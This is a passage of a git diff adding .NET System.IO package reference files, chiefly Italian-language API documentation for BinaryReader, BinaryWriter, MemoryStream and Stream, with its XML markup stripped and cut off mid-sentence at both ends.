texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie d'une marque de fin de ligne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul une marque de fin de ligne est écrite. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netcore50/it/System.IO.xml b/packages/System.IO.4.3.0/ref/netcore50/it/System.IO.xml new file mode 100644 index 0000000..9bb2174 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netcore50/it/System.IO.xml @@ -0,0 +1,2123 @@ + + + + System.IO + + + + Legge i tipi di dati primitivi come valori binari in una determinata codifica. + 2 + + + Inizializza una nuova istanza della classe in base al flusso specificato e usando la codifica UTF-8. + Flusso di input. + Il flusso non supporta la lettura, è null o è già chiuso. + + + Inizializza una nuova istanza della classe in base alla codifica dei caratteri e del flusso specificata. + Flusso di input. + Codifica dei caratteri da usare. + Il flusso non supporta la lettura, è null o è già chiuso. + + è null. + + + Inizializza una nuova istanza della classe in base alla codifica dei caratteri e di flusso specificati. Facoltativamente mantiene aperto il flusso. + Flusso di input. + Codifica dei caratteri da usare. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + Il flusso non supporta la lettura, è null o è già chiuso. + + o è null. + + + Espone l'accesso al flusso sottostante dell'oggetto . + Flusso sottostante associato all'oggetto BinaryReader. + 2 + + + Rilascia tutte le risorse usate dall'istanza corrente della classe . + + + Rilascia le risorse non gestite usate dalla classe e facoltativamente le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Inserisce nel buffer interno il numero specificato di byte letti dal flusso. + Numero di byte da leggere. + È stata raggiunta la fine del flusso prima che fosse possibile leggere . + Si è verificato un errore di I/O. + I richiesti sono superiori alla dimensione del buffer interno. + + + Restituisce il successivo carattere disponibile senza spostare in avanti la posizione del byte o del carattere. + Carattere successivo disponibile oppure -1 se non sono disponibili altri caratteri o se il flusso non supporta la ricerca. + Si è verificato un errore di I/O. + Impossibile decodificare il carattere corrente nel buffer di caratteri interno tramite l'oggetto selezionato per il flusso. + 2 + + + Legge i caratteri dal flusso sottostante e sposta in avanti la posizione corrente del flusso secondo il valore Encoding usato e il carattere specifico che il flusso sta leggendo. + Carattere successivo dal flusso di input oppure -1 se non vi sono caratteri disponibili. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 2 + + + Legge il numero specificato di byte dal flusso, a partire da un punto specificato nella matrice di byte. + Numero di byte letti nell'oggetto .Può essere minore del numero di byte richiesti, se tale quantità di byte non è disponibile, oppure zero, se è stata raggiunta la fine del flusso. + Buffer in cui leggere i dati. + Punto di partenza nel buffer dal quale avviare la lettura nel buffer. + Numero di byte da leggere. + La lunghezza del buffer meno è minore di . -oppure-Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + + è null. + Il valore di o è negativo. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il numero specificato di caratteri dal flusso, a partire da un punto specificato nella matrice di caratteri. + Numero complessivo di caratteri letti nel buffer.Può essere minore del numero di caratteri richiesti, se tale quantità di caratteri non è attualmente disponibile, oppure zero, se è stata raggiunta la fine del flusso. + Buffer in cui leggere i dati. + Punto di partenza nel buffer dal quale avviare la lettura nel buffer. + Numero di caratteri da leggere. + La lunghezza del buffer meno è minore di . -oppure-Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + + è null. + Il valore di o è negativo. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero a 32 bit in formato compresso. + Intero a 32 bit in formato compresso. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + Flusso danneggiato. + + + Legge un valore Boolean dal flusso corrente e sposta in avanti di 1 byte la posizione corrente del flusso. + true se il byte è diverso da zero; in caso contrario, false. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il byte successivo dal flusso corrente e sposta in avanti di 1 byte la posizione corrente del flusso. + Byte successivo letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge il numero specificato di byte dal flusso corrente in una matrice di byte e sposta in avanti la posizione corrente in base a tale numero di byte. + Matrice di byte contenente dati letti dal flusso sottostante.Può essere minore del numero di byte necessari se viene raggiunta la fine del flusso. + Numero di byte da leggere.Questo valore deve essere 0 o un numero non negativo; in caso contrario, si verificherà un'eccezione. + Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è negativo. + 2 + + + Legge il carattere successivo dal flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding usato e il carattere specifico letto dal flusso. + Carattere letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + È stato letto un carattere surrogato. + 2 + + + Legge il numero specificato di caratteri dal flusso corrente, restituisce i dati in una matrice di caratteri e sposta in avanti la posizione corrente secondo il valore Encoding usato e il carattere specifico letto dal flusso. + Matrice di caratteri contenente dati letti dal flusso sottostante.Può essere minore del numero di caratteri necessari se viene raggiunta la fine del flusso. + Numero di caratteri da leggere. + Il numero dei caratteri decodificati da leggere è maggiore di .Questo caso può verificarsi se un decodificatore Unicode restituisce caratteri di fallback o una coppia di surrogati. + Il flusso è chiuso. + Si è verificato un errore di I/O. + + è negativo. + 2 + + + Legge un valore decimale dal flusso corrente e sposta in avanti di sedici byte la posizione corrente del flusso. + Valore decimale letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un valore a virgola mobile a 8 byte dal flusso corrente e sposta in avanti di otto byte la posizione corrente del flusso. + Valore a virgola mobile a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 2 byte dal flusso corrente e sposta in avanti di 2 byte la posizione corrente del flusso. + Intero con segno a 2 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione corrente del flusso. + Intero con segno a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero con segno a 8 byte dal flusso corrente e sposta in avanti di 8 byte la posizione del flusso. + Intero con segno a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un byte con segno dal flusso corrente e sposta in avanti di un byte la posizione corrente del flusso. + Byte con segno letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un valore a virgola mobile a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione corrente del flusso. + Valore a virgola mobile a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge una stringa dal flusso corrente.La stringa ha un prefisso di lunghezza e viene codificata come intero, 7 bit alla volta. + Stringa da leggere. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 2 byte dal flusso corrente usando la codifica little-endian e sposta in avanti di due byte la posizione del flusso. + Intero senza segno a 2 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 4 byte dal flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero senza segno a 4 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 2 + + + Legge un intero senza segno a 8 byte dal flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero senza segno a 8 byte letto dal flusso corrente. + È stata raggiunta la fine del flusso. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 2 + + + Scrive i tipi primitivi in codice binario in un flusso e supporta la scrittura di stringhe in una determinata codifica. + 2 + + + Inizializza una nuova istanza della classe che scrive in un flusso. + + + Inizializza una nuova istanza della classe in base alla codifica using UTF-8 e di flusso specificata. + Flusso di output. + Il flusso non supporta la scrittura o è già chiuso. + + è null. + + + Inizializza una nuova istanza della classe in base alla codifica caratteri e di flusso specificata. + Flusso di output. + Codifica dei caratteri da utilizzare. + Il flusso non supporta la scrittura o è già chiuso. + + o è null. + + + Inizializza una nuova istanza della classe in base alla codifica caratteri e di flusso specificata. Facoltativamente mantiene aperto il flusso. + Flusso di output. + Codifica dei caratteri da utilizzare. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + Il flusso non supporta la scrittura o è già chiuso. + + o è null. + + + Ottiene il flusso sottostante dell'oggetto . + Flusso sottostante associato a BinaryWriter. + 1 + + + Rilascia tutte le risorse utilizzate dall'istanza corrente della classe . + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Cancella i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + 1 + + + Specifica un oggetto privo di archivio di backup. + 1 + + + Contiene il flusso principale. + + + Imposta la posizione all'interno del flusso corrente. + Posizione all'interno del flusso corrente. + Offset dei byte relativo a . + Campo di che indica il punto di riferimento dal quale ottenere la nuova posizione. + Il puntatore a file è stato spostato in un percorso non valido. + Il valore di non è valido. + 1 + + + Scrive un valore Boolean a un byte nel flusso corrente, con 0 che rappresenta false e 1 che rappresenta true. + Valore Boolean da scrivere (0 o 1). + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un byte senza segno nel flusso corrente e sposta in avanti di un byte la posizione del flusso. + Byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive una matrice di byte nel flusso sottostante. + Matrice di caratteri che contiene i dati da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è null. + 1 + + + Scrive un'area di una matrice di byte nel flusso corrente. + Matrice di caratteri che contiene i dati da scrivere. + Punto iniziale nel parametro da cui iniziare la scrittura. + Numero di byte da scrivere. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un carattere Unicode nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Carattere Unicode non surrogato da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + + è un carattere surrogato singolo. + 1 + + + Scrive una matrice di caratteri nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + + è null. + Il flusso è chiuso. + Si è verificato un errore di I/O. + 1 + + + Scrive una sezione di una matrice di caratteri nel flusso corrente e sposta in avanti la posizione corrente del flusso secondo il valore Encoding utilizzato e i caratteri specifici scritti nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + Punto iniziale in dal quale avviare la scrittura. + Numero di caratteri da inserire. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore decimale nel flusso corrente e sposta in avanti di 16 byte la posizione del flusso. + Valore decimale da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore a virgola mobile a otto byte nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Valore a virgola mobile a otto byte da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a due byte con segno nel flusso corrente e sposta in avanti di due byte la posizione del flusso. + Intero a due byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a quattro byte con segno nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero a quattro byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a otto byte con segno nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero a otto byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un byte con segno nel flusso corrente e sposta in avanti di un byte la posizione del flusso. + Byte con segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un valore a virgola mobile a quattro byte nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Valore a virgola mobile a quattro byte da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive una stringa con prefisso di lunghezza nel flusso con la codifica corrente dell'oggetto e sposta in avanti la posizione corrente del flusso secondo la codifica utilizzata e i caratteri specifici scritti nel flusso. + Valore da scrivere. + Si è verificato un errore di I/O. + + è null. + Il flusso è chiuso. + 1 + + + Scrive un intero a due byte senza segno nel flusso corrente e sposta in avanti di due byte la posizione del flusso. + Intero a due byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a quattro byte senza segno nel flusso corrente e sposta in avanti di quattro byte la posizione del flusso. + Intero a quattro byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Scrive un intero a otto byte senza segno nel flusso corrente e sposta in avanti di otto byte la posizione del flusso. + Intero a otto byte senza segno da scrivere. + Si è verificato un errore di I/O. + Il flusso è chiuso. + 1 + + + Inserisce un valore intero a 32 bit in un formato compresso. + Intero da 32 bit da scrivere. + È stata raggiunta la fine del flusso. + Il flusso è chiuso. + Il flusso è chiuso. + + + Eccezione generata durante il tentativo di leggere oltre la fine di un flusso. + 2 + + + Inizializza una nuova istanza della classe con la relativa stringa di messaggio impostata su un messaggio fornito dal sistema e il relativo HRESULT impostato su COR_E_ENDOFSTREAM. + + + Inizializza una nuova istanza della classe con la relativa stringa di messaggio impostata su e HRESULT impostato su COR_E_ENDOFSTREAM. + Stringa nella quale è descritto l'errore.Il contenuto di deve essere facilmente comprensibile.È necessario che il chiamante del costruttore assicuri che la stringa sia stata localizzata per le impostazioni cultura correnti del sistema. + + + Consente l'inizializzazione di una nuova istanza della classe con un messaggio di errore specificato e un riferimento all'eccezione interna che è la causa dell'eccezione corrente. + Stringa nella quale è descritto l'errore.Il contenuto di deve essere facilmente comprensibile.È necessario che il chiamante del costruttore assicuri che la stringa sia stata localizzata per le impostazioni cultura correnti del sistema. + Eccezione causa dell'eccezione corrente.Se il parametro non è null, l'eccezione corrente viene generata in un blocco catch in cui viene gestita l'eccezione interna. + + + Eccezione generata se un flusso di dati è in un formato non valido. + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con un messaggio di errore specificato. + Messaggio di errore nel quale viene indicato il motivo dell’eccezione + + + Inizializza una nuova istanza della classe con un riferimento all'eccezione interna che è la causa dell'eccezione. + Messaggio di errore nel quale viene indicato il motivo dell’eccezione + Eccezione causa dell'eccezione corrente.Se il parametro non è null, l'eccezione corrente viene generata in un blocco catch in cui viene gestita l'eccezione interna. + + + Crea un flusso il cui archivio di backup è costituito dalla memoria.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 2 + + + Inizializza una nuova istanza della classe con una capacità espandibile inizializzata su zero. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla matrice di byte specificata. + Matrice di byte senza segno da cui creare il flusso corrente. + + è null. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla matrice di byte specificata, con la proprietà impostata secondo quanto specificato. + Matrice di byte senza segno da cui creare il flusso. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + + è null. + + + Inizializza una nuova istanza non ridimensionabile della classe in base alla area specificata (indice) di una matrice di byte. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + + è null. + + o è minore di zero. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza non ridimensionabile della classe in base all'area specificata di una matrice di byte, con la proprietà impostata secondo quanto specificato. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + + è null. + + o è un valore negativo. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza della classe in base all'area specificata di una matrice di byte, con la proprietà impostata secondo quanto specificato e la possibilità di chiamare il metodo impostato nel modo specificato. + Matrice di byte senza segno da cui creare il flusso. + Indice in in corrispondenza del quale inizia il flusso. + Lunghezza del flusso in byte. + Impostazione della proprietà , che determina se il flusso supporta la scrittura. + true per abilitare il metodo , che restituisce la matrice di byte senza segno da cui è stato creato il flusso; in caso contrario, false. + + è null. + Il valore di o è negativo. + La lunghezza del buffer meno è minore di . + + + Inizializza una nuova istanza della classe con una capacità espandibile inizializzata secondo quanto specificato. + Dimensione iniziale in byte della matrice interna. + + è negativo. + + + Ottiene un valore che indica se il flusso corrente supporta la lettura. + true se il flusso è aperto. + 2 + + + Ottiene un valore che indica se il flusso corrente supporta la ricerca. + true se il flusso è aperto. + 2 + + + Ottiene un valore che indica se il flusso corrente supporta la scrittura. + true se il flusso supporta la scrittura; in caso contrario, false. + 2 + + + Ottiene o imposta il numero di byte allocati per questo flusso. + Lunghezza della parte usabile del buffer per il flusso. + È stata impostata una capacità negativa o minore della lunghezza corrente del flusso. + Il flusso corrente è chiuso. + set è stato richiamato su un flusso del quale non è possibile modificare la capacità. + 2 + + + Legge in modo asincrono tutti i byte dal flusso corrente e li scrive in un altro flusso, usando le dimensione del buffer specificate e un token di annullamento. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero. + Token da monitorare per le richieste di annullamento. + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Rilascia le risorse non gestite usate dalla classe e facoltativamente le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Esegue l'override del metodo in modo che non venga effettuata alcuna operazione. + 2 + + + Rimuove in modo asincrono tutti i buffer per questo flusso e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scaricamento asincrona. + Token da monitorare per le richieste di annullamento. + Il flusso è stato eliminato. + + + Ottiene la lunghezza in byte del flusso. + Lunghezza del flusso in byte. + Il flusso è chiuso. + 2 + + + Ottiene o imposta la posizione corrente all'interno del flusso. + Posizione corrente all'interno del flusso. + La posizione è impostata su un valore negativo o maggiore di . + Il flusso è chiuso. + 2 + + + Legge un blocco di byte dal flusso corrente e scrive i dati in un buffer. + Numero complessivo di byte scritti nel buffer.Può essere minore del numero di byte richiesti se tale numero di byte non è al momento disponibile o pari a zero se è stata raggiunta la fine del flusso prima della lettura di qualsiasi byte. + Quando questo metodo viene restituito, contiene la matrice di byte specificata in cui i valori tra e ( + - 1) sono sostituiti dai caratteri letti dal flusso corrente. + Offset di byte in base zero in da cui iniziare l'archiviazione dei dati dal flusso corrente. + Numero massimo di byte da leggere. + + è null. + Il valore di o è negativo. + + sottratto alla lunghezza del buffer è minore di . + L'istanza del flusso corrente è chiusa. + 2 + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un byte dal flusso corrente. + Cast di byte su un oggetto o -1 se è stata raggiunta la fine del flusso. + L'istanza del flusso corrente è chiusa. + 2 + + + Imposta la posizione all'interno del flusso corrente sul valore specificato. + Nuova posizione all'interno del flusso, calcolata combinando il punto di riferimento iniziale e l'offset. + Nuova posizione all'interno del flusso.È relativa al parametro e può essere positiva o negativa. + Valore di tipo , che funge da punto di riferimento per la ricerca. + La ricerca viene tentata prima dell'inizio del flusso. + + è maggiore di . + Il valore di non è valido. -oppure- causato da un overflow aritmetico. + L'istanza del flusso corrente è chiusa. + 2 + + + Imposta la lunghezza del flusso corrente sul valore specificato. + Valore su cui impostare la lunghezza. + Il flusso corrente non è ridimensionabile e il parametro è maggiore della capacità corrente.-oppure- Il flusso corrente non supporta la scrittura. + + è negativo o maggiore della lunghezza massima dell'oggetto , in cui la lunghezza massima corrisponde a ( - origine) e l'origine corrisponde all'indice nel buffer sottostante in corrispondenza del quale inizia il flusso. + 2 + + + Scrive il contenuto del flusso in una matrice di byte, indipendentemente dalla proprietà . + Nuova matrice di byte. + 2 + + + Restituisce la matrice di byte senza segno da cui è stato creato questo flusso.Il valore restituito indica se la conversione è riuscita. + true se la conversione riesce; in caso contrario, false. + Segmento di matrice di byte da cui è stato creato questo flusso. + + + Scrive un blocco di byte nel flusso corrente usando dati letti da un buffer. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso corrente. + Numero massimo di byte da scrivere. + + è null. + Il flusso non supporta la scrittura.Per ulteriori informazioni, vedere .-oppure- La posizione corrente, rispetto al numero di byte specificati in , è più vicina alla fine del flusso e non è possibile modificare la capacità. + + sottratto alla lunghezza del buffer è minore di . + + o è un valore negativo. + Si è verificato un errore di I/O. + L'istanza del flusso corrente è chiusa. + 2 + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive un byte nella posizione corrente all'interno del flusso corrente. + Byte da scrivere. + Il flusso non supporta la scrittura.Per ulteriori informazioni, vedere .-oppure- La posizione corrente è alla fine del flusso e non è possibile modificare la capacità. + Il flusso corrente è chiuso. + 2 + + + Scrive l'intero contenuto del flusso di memoria in un altro flusso. + Flusso in cui scrivere il flusso di memoria. + + è null. + Il flusso corrente o di destinazione è chiuso. + 2 + + + Specifica la posizione in un flusso da utilizzare per le ricerche. + 2 + + + Specifica l'inizio di un flusso. + + + Specifica la posizione corrente all'interno di un flusso. + + + Specifica la fine di un flusso. + + + Fornisce una visualizzazione generica di una sequenza di byte.Questa è una classe abstract.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 2 + + + Inizializza una nuova istanza della classe . + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la lettura. + true se il flusso supporta la lettura; in caso contrario, false. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la ricerca. + true se il flusso supporta la ricerca; in caso contrario, false. + 1 + + + Ottiene un valore che determina se il flusso corrente prevede il timeout. + Valore che determina se il flusso corrente prevede il timeout. + 2 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la scrittura. + true se il flusso supporta la scrittura; in caso contrario, false. + 1 + + + Legge i byte dal flusso corrente e li scrive in un altro flusso. + Flusso in cui verrà copiato il contenuto del flusso corrente. + + è null. + Il flusso corrente non supporta la lettura.-oppure- non supporta la scrittura. + Il flusso corrente o sono stati chiusi prima che venisse chiamato il metodo . + Si è verificato un errore di I/O. + + + Legge tutti i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + + è null. + + è un valore negativo o zero. + Il flusso corrente non supporta la lettura.-oppure- non supporta la scrittura. + Il flusso corrente o sono stati chiusi prima che venisse chiamato il metodo . + Si è verificato un errore di I/O. + + + Legge in modo asincrono i byte dal flusso corrente e li scrive in un altro flusso. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + + è null. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Legge in modo asincrono tutti i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Legge in modo asincrono i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata e un token di annullamento. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Quando ne viene eseguito l'override in una classe derivata, cancella tutti i buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Si è verificato un errore di I/O. + 2 + + + Cancella in modo asincrono i dati di tutti i buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il flusso è stato eliminato. + + + Cancella in modo asincrono i dati di tutti i buffer del flusso, determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scaricamento asincrona. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + Il flusso è stato eliminato. + + + Quando ne viene eseguito l'override in una classe derivata, ottiene la lunghezza in byte del flusso. + Valore long che rappresenta la lunghezza del flusso in byte. + Una classe derivata da Stream non supporta la ricerca. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Oggetto Stream privo di archivio di backup. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene o imposta la posizione all'interno del flusso corrente. + Posizione corrente all'interno del flusso. + Si è verificato un errore di I/O. + Il flusso non supporta la ricerca. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, legge una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti. + Numero complessivo di byte letti nel buffer.È possibile che questo numero sia inferiore a quello dei byte richiesti se la quantità di byte disponibili è minore oppure che corrisponda a zero (0) se è stata raggiunta la fine del flusso. + Matrice di byte.Quando questo metodo viene restituito, il buffer contiene la matrice di byte specificata con i valori compresi tra e ( + - 1) sostituiti con i byte letti dall'origine corrente. + Offset dei byte in base zero in in corrispondenza del quale iniziare l'archiviazione dei dati letti dal flusso corrente. + Numero massimo di byte da leggere dal flusso corrente. + La somma di e è maggiore della lunghezza del buffer. + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso non supporta la lettura. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva nel flusso in base al numero di byte letti. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti 